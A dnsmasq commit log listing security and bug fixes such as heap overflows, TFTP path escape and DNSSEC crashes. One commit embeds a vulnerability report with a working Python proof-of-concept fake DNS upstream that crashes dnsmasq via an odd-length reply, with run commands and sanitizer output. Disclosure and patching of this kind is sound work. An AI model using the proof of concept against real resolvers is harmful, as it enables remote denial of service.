Compare commits

...
176 Commits
Author SHA1 Message Date
DL6ER 10fbc39cf5 Return an empty block from blockdata_alloc() for zero length.
738c049 turned the allocation loop in blockdata_alloc_real() from
do/while into for, so a zero length now returns NULL. find_soa() and
extract_addresses() start the chain for an RR with
blockdata_alloc(NULL, 0) and fill it with blockdata_expand(), so they
now fail on every SOA and every RR that is not an address, e.g., MX,
SRV, or SVCB, and those answers are no longer cached. A zero-length
RR also no longer survives cache_recv_insert().

Allocate one empty block for zero length, as before.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-11-02 20:46:27 +00:00
Mario Madersbacher 2463798e03 Fix checks on TFTP filenames to avoid directory escape.
Commit d152e81 which fixed escape via pathname of the form "file/.."
introduced a new bug in which pathnames of the form "file/..dir/.."
are not caught.

Note that to be a practical attack, a directory with name
"..somename" has to exist the correct place in the tree.
This seems unlikely on most systems, and a it's difficult to see
how an attacker could create such a directory and not already have
the read access that it gives them.

Thanks to Mario Madersbacher for spotting this, and supplying a very
complete report and patch.
2026-10-26 21:46:00 +00:00
DL6ER a570a139d5 Don't add an empty CNAME alias for a space before a comma.
split() replaces the comma with a space and then writes a NUL over
every space before it, so "a.example ,target.example" becomes
"a.example\0\0target.example". The --cname loop steps over one NUL
and the following spaces only, stops on the second NUL and adds an
empty alias, i.e., a CNAME for the root name. A second such entry is
then rejected as "duplicate CNAME".

Step over the NULs, too.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-10-21 22:06:58 +01:00
Simon Kelley 738c049988 Fix OOB heap write in blockdata_read()
A flaw in the blockdata_read() function allows an attacker to overflow
heap buffers. If memory allocation fails whilst reading data from
an IPC pipe, some data is left unread in the pipe. This has the effect of
desynchronising further reads from the pipe and allows an attacker
to overflow a heap buffer.

Note that the attack depends on running the dnsmasq process out of memory
so that calls to malloc() begin to fail. This is difficult to do on
most platforms, unless a small ulimit is set on the size of the
dnsmasq process. This makes practical attacks somewhat difficult.

Thanks to Michel Belleau for finding and characterising this vulnerability.
2026-10-20 23:19:11 +01:00
Simon Kelley 145abca7f6 Fix DNS name buffer overflow.
There are a couple of instances in the DNSSEC validation code where
the code steps along a DNS name to remove some number if left-hand
labels and replace them with * to make a wildcard. The name then
gets passed to to_wire() to translate it in-place to the wire format.

If external parameters dictate that all the labels are removed, and the name
is of exactly the maximum size, then this causes to_wire() to overwrite the
buffer by one byte.

Having created the wildcard, move it to the start of the buffer to avoid
this problem.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93011 may apply.
2026-10-20 00:07:34 +01:00
Simon Kelley a627a7847f Fix off-by-one bounds check in DHCPv6 FQDN option.
Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93009 may apply.
2026-10-20 00:07:33 +01:00
Simon Kelley cdbfb97227 Fix logic error in TFTP caching.
The TFTP subsystem prefetches data from disk. If a TFTP transfer
is freed, and a new one allocated the same memory, then previously
prefetched data could be wrongly supplied.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93006 may apply.
2026-10-20 00:07:33 +01:00
Simon Kelley 11493fe218 Improve resistance to many simultaneous TCP connections.
Dnsmasq limits the number of simultaneous TCP connections,
to avoid resource-exhaustion attacks. Once the limit if reached,
dnsmasq stops accepting TCP connections from the kernel.

When doing dnssec validation, the same resources are used to
handle internally generated queries with large answers
needed to validate incoming queries which can still arrive via UDP.
If a dnsmasq daemon has reached the limit on incoming
TCP connections then these queries will fail to validate needlessly.

Bump the number of TCP-process resources by 50% when dnssec validation
is enabled, and reserve the extra 50% only for internally-generated
dnssec validation queries. This allows validation to continue even
when dnsmasq is ignoring new TCP requests.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93007 may apply.
2026-10-20 00:07:33 +01:00
Simon Kelley 7719737f36 Fix subdomain-test in find_soa()
Do correct subdomain test, rather than a substring match.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93008 may apply.
2026-10-20 00:07:33 +01:00
DL6ER 3a3e7a049f Fix the NSEC3 closest encloser check for deeper wildcard answers
`validate_rrset()` returns the start of the closest encloser as an offset
into the owner name, and `prove_non_existence_nsec3()` is meant to stop
its search there. It compares `name - closest_encloser` with that offset,
but `closest_encloser` only moves forward from `name`, so the difference
is never positive and the search never stops at the encloser the RRSIG
labels field gives.

A wildcard answer one label below the closest encloser is not affected,
as the NSEC3 covering the next closer name covers the query name itself.
Two or more labels below, dnsmasq looks for an NSEC3 matching the closest
encloser, which RFC 5155 section 7.2.6 does not require the zone to send,
and returns SERVFAIL with EDE 12 (NSEC Missing). An example is
foo.login.us2.yubico.com, answered from *.us2.yubico.com.

The comparison came with f603a4f ("Fix a corner-case in DNSSEC validation
with wildcards."), which replaced the name compare. Swap the operands.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-10-20 00:05:21 +01:00
DL6ER bc80b93cd1 Answer queued TCP queries after a stale answer
When `tcp_request()` answers from stale cache data, it closes the
connection right away, so that the child process can refresh the name
and exit. A query the client has already sent on that connection is
never read, and its answer is lost.

glibc runs into this: after a truncated UDP reply, it sends the A and
AAAA queries together on one TCP connection, gets EOF after the first
answer and fails the lookup without retrying the second query. In a
test with both answers expired, 7 of 20 such lookups lost the second
answer.

Close the connection only if the client has not sent anything else
yet. Otherwise, refresh the name and go on answering the queries on the
connection, as for any other forwarded query.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-10-19 23:42:29 +01:00
Simon Kelley 03fd0c19ef Clear down SLAAC-name data when a DHCP lease loses its hostname.
If a DHCPv4 lease loses its hostname, then the DHCPv6 name-address mapping
derived from it become invalid and need to be cleared.

Similarly, when a hostname is added to an existing lease, new
SLAAC-name data needs to be generated.

Thanks Martin Vlach (and Claude) for finding a symptom of this in
the SLAAC logging code. This patch fixes that and does the correct
thing more generally.
2026-10-01 20:43:10 +01:00
Martin VlachandClaude Sonnet 5.5 baeb7430e2 Don't bump arrsize in poll_listen() until the realloc has succeeded.
If whine_realloc() fails in poll_listen(), arrsize has already been
doubled while pollfds keeps its old size. The next call then sees
arrsize != nfds, skips the extension and writes past the end of the
array (or through NULL if the very first allocation failed).
poll_reset() only clears nfds, so this sticks around until restart.

Only update arrsize once the reallocation has succeeded.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-01 15:40:31 +01:00
朱耀辉 f90df6c532 Fix heap OOB read in zone_status()
Credit to Yaohui Zhu (朱耀辉) for finding this.

CNVD-C-2026-590208 applies.

Summary

zone_status() (src/dnssec.c:1867 in the 2.93 release; the same
construct is in current git master, 2.93-29-gad92083) computes
&name[name_start-2] in its backtrack loop without checking that
name_start >= 2. When name_start == 1 the loop starts at name[-1]
and dereferences it immediately; the guard (p != name) can never
fire for p < name, so the scan walks backwards through the heap
until it finds a '.' byte or hits an unmapped page. Under ASAN this
is a deterministic heap-buffer-overflow READ; on a plain build the
process dies with SIGSEGV.

A single, ordinary query plus one crafted upstream reply is enough.
My reproducer starts the ASAN binary with --dnssec and the root
trust anchor, with a mock upstream; on the first query the mock
answers with a captured crafted reply (a response carrying RRSIG(46),
NSEC(47) with an empty/root owner name, and NSEC3(50) records in the
authority section) and the process crashes on the first query.
2026-10-01 15:34:53 +01:00
Yuefu Zhou a9880c595f Close listening socket on fatal accept() errors to prevent busy loop
If a TCP listening socket is externally destroyed (e.g., via ss -K,
or a process using NETLINK_SOCK_DIAG/SOCK_DESTROY), accept()
permanently returns -1 with errno == EINVAL because the socket is
no longer in TCP_LISTEN state.  Since poll() keeps reporting the
stale fd as readable, the main loop spins calling
do_tcp_connection() -> accept() indefinitely, consuming 100% CPU.

Distinguish transient errors (EAGAIN, ECONNABORTED, EMFILE, ENFILE,
ENOMEM, ENOBUFS) from fatal ones.  On transient errors just return
and retry on the next poll cycle.  On fatal errors close the tcpfd
and mark it -1 so poll() no longer selects it.

In --bind-dynamic mode the listener will be automatically rebuilt
on the next address change event via newaddress().

Signed-off-by: Yuefu Zhou <yuefu16.zhou@gmail.com>
2026-09-04 22:00:52 +01:00
David Nichols ad9208358e fix --no-dhcpv4-interface also disables RA/DHCPv6 on constructed (constructor:) ranges
--no-dhcpv4-interface=IFACE is documented to disable only DHCPv4 on an interface,
leaving DHCPv6/RA untouched. That's exactly how it's implemented in the option parser
(option.c, LOPT_NO_DHCP4 case): the exclusion entry is tagged INAME_4 only, with INAME_6
explicitly cleared. The two general-purpose exclusion checks that consult this list also
respect the split correctly:

  - dhcp6.c:184-186 (regular DHCPv6 request handling)
  - radv.c:187-189 and radv.c:836-839 (RA sending)

All three do:

    if (tmp->name && (tmp->flags & INAME_6) && wildcard_match(tmp->name, iface))

But construct_worker() in dhcp6.c — the callback used to build a context from a
"constructor:IFACE" template range (dhcp-range=::,constructor:IFACE,ra-only,64,...) —
checks the same list without the flag test:

    src/dhcp6.c, lines 700-702 (2.93; same in 2.90):

        for (tmp = daemon->dhcp_except; tmp; tmp = tmp->next)
          if (tmp->name && wildcard_match(tmp->name, ifrn_name))
            return 1;

Because this only tests tmp->name and ignores tmp->flags, an interface added to
dhcp_except via --no-dhcpv4-interface (INAME_4 only, INAME_6 cleared) is excluded here
regardless — silently killing RA/DHCPv6 on that interface too, contradicting both the
documentation and the behaviour of every other exclusion check in the codebase.
2026-09-02 22:24:54 +01:00
Simon Kelley baf85a8f38 Tune store_name() fix in a9cb3971c6
By only checking the last-allocated block for space, the amount
off unused memory on the system is increased. This patch alters
things so that the 10 last-allocated blocks are checked. This
stil avoids the O(n^2) explosion but should improve memory efficiency.
2026-09-02 21:43:49 +01:00
Pank a9cb3971c6 Fix severe SIGHUP reload slowdown caused by store_name quadratic search
When reloading large hosts files (e.g. 1.7M addn-hosts entries) on SIGHUP,
free_names() previously only reset block->last = 0 without unlinking or
moving blocks to a spare pool. As a result, all existing blocks remained
in hostblocks. When reloading, the head block was filled first and stayed
at the head while full, forcing store_name() to linearly traverse all
previously filled blocks for every subsequent name insertion. This resulted
in O(N^2) complexity, taking ~10 minutes for 1.7M records.

Fix this by introducing nameblock_spare (matching config_spare / big_free
spare pool semantics), moving freed blocks to the spare pool in free_names(),
and restricting store_name() to only check the active head block before
popping from nameblock_spare (or mallocing). This restores O(1) per-entry
insertion and reduces reload time from 10 minutes to ~3 seconds.
2026-09-02 20:58:04 +01:00
DL6ER f031f5b4b3 Don't loop when a DS reply carries no proof of non-existence
A DS query answered with an unsigned NXDOMAIN which contains neither NSEC
nor NSEC3 records leaves `dnssec_validate_reply()` without a proof of
non-existence, so it falls back to `zone_status()` to find out whether the
zone is unsigned. For a DS query, that returns `STAT_NEED_DS` for the very
name whose DS we are resolving. The frec dependency graph then contains a
cycle, the loop detection in `dnssec_validate()` catches it, and the query
ends up `ABANDONED` without any log message explaining why.

Treat this self-referential answer as insecure instead. It carries no
information either way, and the existing handling of insecure DS replies
already makes the right decision about it: unsigned is assumed for RFC-1918
reverse names when `--bogus-priv` is set, and for domains served by a
`--server=/domain/...` directive, everything else stays BOGUS.

This is what breaks reverse lookups when a private range is delegated with
`--rev-server` and DNSSEC is enabled. Validating the answer walks the chain
of trust down to `10.in-addr.arpa`, which is above the delegated zone and
therefore goes to the public upstream, and the public resolvers serve the
RFC 6303 empty reverse zones locally, without any DNSSEC records to prove
that they are unsigned. The existing `--bogus-priv` workaround for exactly
this behavior was never reached because validation was abandoned first.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 16:27:33 +01:00
DL6ER cf9c9c74e0 Fix typo in the TCP fork comments.
"is sent by the child has finshed the close" was meant to read
"is sent when the child has finished the close".

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 15:52:04 +01:00
DL6ER b518bc425d Define the fork handshake byte unconditionally.
1861a881eb made the declaration of "a"
conditional on HAVE_LINUX_NETWORK, which was right as long as the
read_write() calls sat inside the same #ifdef.

Since 1da5cc2951 the parent blocks on
the pipe and the child writes the byte on every platform, so a build
without HAVE_LINUX_NETWORK now fails with "a undeclared" in both
do_tcp_connection() and swap_to_tcp(). This is easy to hit after
7ebe7ebb93, which gives *BSD a reason
to take that path.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 15:47:44 +01:00
Simon Kelley 0c177ad607 Validate the enterprise ID in the DHCPv6 vendor-class parser.
Use atoi_check()to ensure that the enterprise-ID is a valid decimal number.

Inspired by a patch from  DL6ER <dl6er@dl6er.de>
2026-08-17 12:53:51 +01:00
DL6ER 4388c38468 Fix bogus 256-byte DHCPv6 vendor-class option.
lookup_dhcp_len() returns the flag word from the option table, so
since 1af6ee6468 an option carrying
OT_DHCP6_VENDOR yields an opt_len of 0x0100.

--dhcp-option=option6:vendor-class,343 has a purely decimal argument
list and therefore takes the is_dec branch, which comes long before
the new OT_DHCP6_VENDOR branch, and

  if (opt_len != 0)
    new->len = opt_len;

sets new->len to 256. The value is then written by shifting an int by
up to 2040 bits, which is undefined behavior, and a 256-byte
vendor-class option ends up on the wire:

  $ dnsmasq --test --dhcp-option=option6:vendor-class,343
  option.c:1715:23: runtime error: shift exponent 2040 is too large
  for 32-bit type 'int'
  dnsmasq: syntax check OK.

The numeric spelling option6:16,343 takes the same path. Before
1af6ee6 both were rejected, as vendor-class was OT_INTERNAL back then.

Keep the is_dec branch away from OT_DHCP6_VENDOR, so the dedicated
parser runs and reports the missing vendor class instead.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-16 21:10:45 +01:00
Simon Kelley 0a31ade4db Add man page warning about untrusted data in the environment of DHCP-script.
Thanks to Daniel Birtwhistle for prompting this.
2026-08-15 15:59:57 +01:00
Giuseppe Piscitelli a4ebe438df radv: explicit lease time as a floor for constructed-prefix RA lifetimes.
If upstream gives short lifetimes, local clients using RA for address
leasing can lose address access. This gives the ability to stretch
RAs to reasonable lifetimes.
2026-08-13 16:08:08 +01:00
Simon Kelley 8d8ad76d89 Expand man page for --group
Specifying --group without a value inhibits any change of gid. This
feature has existed since dnsmasq-2.43, released in 2008, but without
documentation, it has been lost to time, even though it's useful
in certain circumstances, mainly to do with containers.

Thanks to Leon Busch-George for his efforts to fix this.
2026-08-09 21:07:21 +01:00
Simon Kelley b50b55e227 Allow enviroment variables in dhcp-script to contain '='
An ancient miss-reading of "man setenv" lead to code which strips
'=' characters from the contents of enviroment variables set
in the dhcp-script. Equals characters are, of course banned in the
_name_ of environment variables, not the _value_.
2026-08-09 17:13:19 +01:00
Simon Kelley 7a663fd46b Don't pass arbitrary characters to DNSMASQ_SUPPLIED_HOSTNAME.
If the hostname supplied by a DHCPv4 client doesn't pass the
test if being an allowed hostname (ie without metacharacters) it
is ignored, but still passed to the environment variable
DNSMASQ_SUPPLIED_HOSTNAME in the dhcp-script.

Change this so that only valid hostnames appear in thos variable,
to avoid security problems with scripts that son't sanitise.

This brings DHCPv4 behaviour in line with DHCPv6.

Thanks to Daniel Birtwhistle for spotting the problem.
2026-08-09 16:23:54 +01:00
Simon Kelley 1f122521bb Make configuration for DHCPv4 options and DHCPv6 options consistent.
Historically, DHCPv4 client options are configured as

dhcp-option=option:ntp-server,....
dhcp-option=42,....

DHCPv6 long ago added

dhcp-option=option6:sntp-server,....
dhcp-option=option6:31,....

This patch adds equivalents of this for DHCPv4

dhcp-option=option4:ntp-server,....
dhcp-option=option4:42,.....

and for good measure

dhcp-option=option:42,.....

and clarifies the man page.

Thanks to Martin-Éric Racine for pointing this out.
2026-07-27 21:02:53 +01:00
Pooyan Khanjankhani 8af20e56ed Fix typos throughout the codebase
Corrected spelling errors in comments and function names:
- recieved/receive -> received/receive
- error_occured -> error_occurred
- prefered -> preferred
- wierd -> weird
- datastuctures -> datastructures
- explictly -> explicitly
- ouptut -> output
- arrising -> arising
- encapulation -> encapsulation
- scrips -> scripts
- adn-hosts -> addn-hosts
- removed repeated 'the the' in three comments

Generated by AI (opencode).
2026-07-17 11:44:38 +01:00
Pooyan Khanjankhani 8aa607d322 Fix typo in man pages --dynamic-host 2026-07-17 11:43:57 +01:00
Pooyan Khanjankhani 52982cfe8f Fix name change of a flag in comments 2026-07-17 11:43:16 +01:00
Pooyan Khanjankhani 81d78d9c75 Fix a typo in man pages 2026-07-17 11:42:36 +01:00
Simon Kelley 7ebe7ebb93 Extend closing the netlink in TCP handler processes to *BSD.
This may not be necessary, as the socket doesn't revieve broadcasts,
but it can't hurt.
2026-07-09 21:45:40 +01:00
Zhou Yuefu 1da5cc2951 Close inherited listening sockets in forked TCP child processes
When dnsmasq forks a child to handle a TCP connection, the child
inherits copies of all listening sockets.  These are never used but
keep the underlying sockets alive in the kernel.  If a network
interface is removed and re-added while a child is running, the
parent's attempt to re-bind fails with EADDRINUSE because the child
still holds a reference.

Close all listener fds (UDP and TCP) in the child immediately after
fork in both do_tcp_connection() and swap_to_tcp().

[Original patch extended by Simon Kelley to include the TFTP listening
socket, and to extend the existing race-protection scheme for the
netlink socket to the listening sockets. Any bugs are my responsibility.]
2026-07-09 16:39:44 +01:00
Simon Kelley 5990261a57 Add CVE-2026-12969 to the record. 2026-07-09 13:08:25 +01:00
Simon Kelley b6b7e5a6fd Fix packet dump code.
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.

Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------

Summary
-------

When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:

    if (len & 1)
      ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */

packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.

Affected code (built HEAD cf08eeee12)
-------------------------------------------------------------------

- Sink: src/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dump.c:120) <- reply_query()
  (src/forward.c:1224) <- check_dns_listeners() <- main().

Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.

Reproduction
------------

PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).

    # Build at HEAD with dumpfile support + ASan
    make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
    export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0

    python3 poc.py 2267 &          # odd length; 1497 also fires
    dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
        --no-resolv --no-hosts --server=127.0.0.1#5354 \
        --dumpfile=/tmp/dump.pcap --dumpmask=0xffff
    # forward a query so the odd-length reply is dumped
    dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3

Evidence
--------

stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dump.c:243:36, ==ABORTING.

Suggested fix
-------------

Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.

---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys

PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267  # odd

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)

while True:
    try:
        data, addr = s.recvfrom(8192)
    except socket.timeout:
        print("[upstream] timeout, exiting", flush=True)
        break
    if len(data) < 12:
        continue
    qid = data[:2]
    header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
    # echo the question section
    i = 12
    while i < len(data) and data[i] != 0:
        i += 1 + data[i]
    end_q = i + 1 + 4 if i < len(data) else len(data)
    qsec = data[12:end_q]
    body = header + qsec
    pad = TARGET_LEN - len(body)
    body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
    s.sendto(body[:TARGET_LEN], addr)
    print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
    break  # one-shot

---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.

dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
    #0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dump.c:243:36
    #1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dump.c:120:8
    #2 0x55d1d86f0533 in reply_query <ROOT>/src/forward.c:1224:3
    #3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq.c
    #4 0x55d1d8709945 in main <ROOT>/src/dnsmasq.c:1318:2
    #5 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)

0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
    #0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
    #1 0x55d1d86c95ad in safe_malloc <ROOT>/src/util.c:321:15
    #2 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)

SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
  0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
  0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4200==ABORTING

EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.
2026-07-06 21:22:04 +01:00
Simon Kelley f8c162b8b0 Fix logic suppressing multiple warnings in bound interfaces. 2026-07-03 22:59:22 +01:00
Simon Kelley c93e9ce592 Don't chown a log file unless it is a regular file.
Thi specifically avoids bad behavior with --log-facility=/dev/null
2026-07-03 22:26:36 +01:00
Simon Kelley bf80262874 Fix file-descriptor leak in TFTP code.
Thanks to Metadust/Hamza (Github: @metadust)
for spotting this.
2026-06-20 18:59:37 +01:00
Simon Kelley ea4645d52c Extend ea9bd30cd4
On further analysis, the problem is deeper: Other
error paths (which are not accessible to an attack) can also
return an incorrect header->id value, and most error paths
return incorrect query case if --do-0x20-encode is in use.
2026-06-14 23:40:52 +01:00
Simon Kelley ea9bd30cd4 Fix information disclosure.
An oversight in commit f9f8d19bf5
leaves a code path where a repeat of a query gets an error reply
which discloses the id field used in interactions with upstream
servers ro get an answer to the query. By triggering this
code path, an attacker can determine the id, which makes Kaminsky
cache poisoning attacks much less expensive and much more certain.

This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93

Thanks to Ronen Shustin from Project Atlas, Wiz for finding
this problem.
2026-06-14 23:36:43 +01:00
Luiz Angelo Daros de Luca 1af6ee6468 dhcp6: implement vendor class support
Implement the OT_DHCP6_VENDOR option type to properly handle the
DHCPv6 Vendor Class option (code 16) according to RFC 3315.

Previously, this option was marked as OT_INTERNAL, causing dnsmasq
to fail immediately if configured by name. Bypassing this block by
using the numerical option format (option6:16) caused the payload
to be formatted with an unintended string-length prefix. This broke
compliance because the RFC requires a fixed 4-byte Enterprise ID
at the beginning of the option, followed by data blocks.

This byte misalignment broke features like UEFI HTTP IPv6 Boot

This patch removes the OT_INTERNAL restriction and moves the formatting
logic to the parser phase, correctly assembling the wire-format layout
(4-byte ID + 2-byte chunk length + string) so it can be injected
directly into the network buffer.

Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
2026-06-11 15:29:35 +01:00
Simon Kelley c310853907 Fix double-free in blockdata_expand().
If blockdata_expand() fails, it frees the existing block chain
and returns zero. Each call to blockdata_expand() checks for the zero return,
and calls blockdata_free() as part of its clean-up, resulting in
a double-free and crash.

Thanks to fallrig for finding this.
2026-06-09 22:11:21 +01:00
Matthias Andree 3ff66da573 Fix two typos in v2.93 CHANGELOG 2026-06-04 12:47:22 +01:00
Simon Kelley d823d8e9cd Fix OOB-read crash in get_rdata().
get_rdata() contains another instance of a crash caused by
a false value of RDLEN in a resource-record.

An RR containing name which is longer than the rdlen of the RR can
get get_rdata into a state where it calculates the length of the data
following the name as a negative number which is then promoted
to a very large positive number, and causing SIGSEGV.

This can be triggered by crafted packets from malicous DNS servers,
but only when DNSSEC validation is enabled. The attack packets do not
have to be correctly DNSSEC signed.

Thanks to Tristan G. for spotting this problem.

Also fix error handling for RRs with a fixed size fields in the specification
where the rrsize indicates that there are zero bytes in that position.
2026-06-04 12:47:18 +01:00
Simon Kelley 2c78b6db6c Better code to make human-friendly tokens for pointers in log-malloc.
It turns out that subtracting NULL from a pointer to turn it into
an integer is not a good idea, because subtracting a NULL pointer
is undefined behaviour in C.

The correct way to do this is simply to cast the pointer to
uintptr_t. The only fly in this ointment is that the C standard
does not mandate support for uintptr_t.  In practice, I doubt
anyone is running dnsmasq on the long-dead architectures where
this might be a problem.

Thanks to Matthias Andree for the heads-up.
2026-06-02 13:00:18 +01:00
Simon Kelley 4bf46ceb37 Add the ability to bail before EOF to get_line_alloc();
If we stop reading a file before getting to the end, get_line_alloc()
will not clean up the memory it allocated. Give get_line_alloc()
the ability to do a forced cleanup by calling it with a NULL file,
and use that ability where we stop reading a file early.

Also clear the state variables when we free the memory, to
pre-empt use-after-free.
2026-06-02 00:22:05 +01:00
Simon Kelley 7d42376a3a Fix get_line_alloc()
Assigning the result of getc() to a char makes comparing it to EOF
unreliable, at the very least. You're never too old to make newbie
mistakes.

Thanks to Sebastian Gottschall  for spotting this.
2026-06-01 22:56:23 +01:00
Simon Kelley 08cc209e7a Add --log-debug to man page. 2026-06-01 22:45:49 +01:00
Simon Kelley ff4964d01d Re-implement print_mac() to do its own buffer managment.
print_mac() used to output into caller-supplied buffer with no
length checking. The various callers supplied different
length buffers and did their own, ad-hoc, length checking before
calling print_mac(). This was an accident waiting to happen and
it had actually happened in couple of places, with buffer
overflows possible.

print_mac() now returns the address of its own buffer, which
is grown as required.

Thanks to Nicholas Carlini <npc@anthropic.com> for spotting this problem.
2026-05-31 21:37:48 +01:00
Michalis Vasileiadis 45771dc92c Fix OOB writes in contrib/leasequesry/leasequery.c
Thanks to Michalis Vasileiadis for spotting this.

print_mac() writes each MAC byte to its output buffer with unbounded
sprintf and is called from main() with pkt.header.hlen straight out
of a BOOTREPLY. hlen is an attacker-controlled uint8_t (up to 255),
each byte expands to up to 3 chars, and the destination is a 500-byte
stack buffer. A malicious leasequery server that echoes the client's
transaction ID and replies with DHCPLEASEACTIVE and an oversized
hlen overflows that stack buffer.

